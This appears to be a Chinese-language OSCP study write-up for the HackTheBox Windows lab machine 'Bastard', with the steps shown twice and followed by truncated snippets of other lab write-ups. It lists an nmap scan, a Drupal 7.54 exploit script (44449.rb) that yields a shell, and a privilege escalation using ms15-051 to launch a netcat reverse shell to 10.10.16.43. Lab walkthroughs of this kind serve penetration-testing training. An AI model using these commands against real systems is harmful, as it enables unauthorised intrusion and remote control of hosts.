OSCP备考_0x40_HackThBox靶机_Windows_Bastard
nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.253.131 (扫描TCP)

查看到是Drupal 7.54

ruby 44449.rb http://10.129.253.131
获取到shell

开始操作提权
ms15-051x64.exe "nc.exe -nv 10.10.16.43 4445 -e cmd"



nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.253.131 (扫描TCP)

查看到是Drupal 7.54

ruby 44449.rb http://10.129.253.131
获取到shell

开始操作提权
ms15-051x64.exe "nc.exe -nv 10.10.16.43 4445 -e cmd"



nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.244.125 (扫描TCP)135/tcp (MSRPC): Microsoft远程过...
nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.213.7 (扫描TCP)nmap -sU --top-ports 100 10.129.213....
nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.167.171 (扫描TCP)nmap -sU --top-ports 100 ...
nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.216.125 (扫描TCP)nmap -sU --top-ports 100 ...
ScriptKiddienmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.95.150 (扫描TCP)访问5000端口,发现是一个集成工具...
信息收集nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.143.34 (扫描TCP)nmap -sU --top-ports 100 10.129...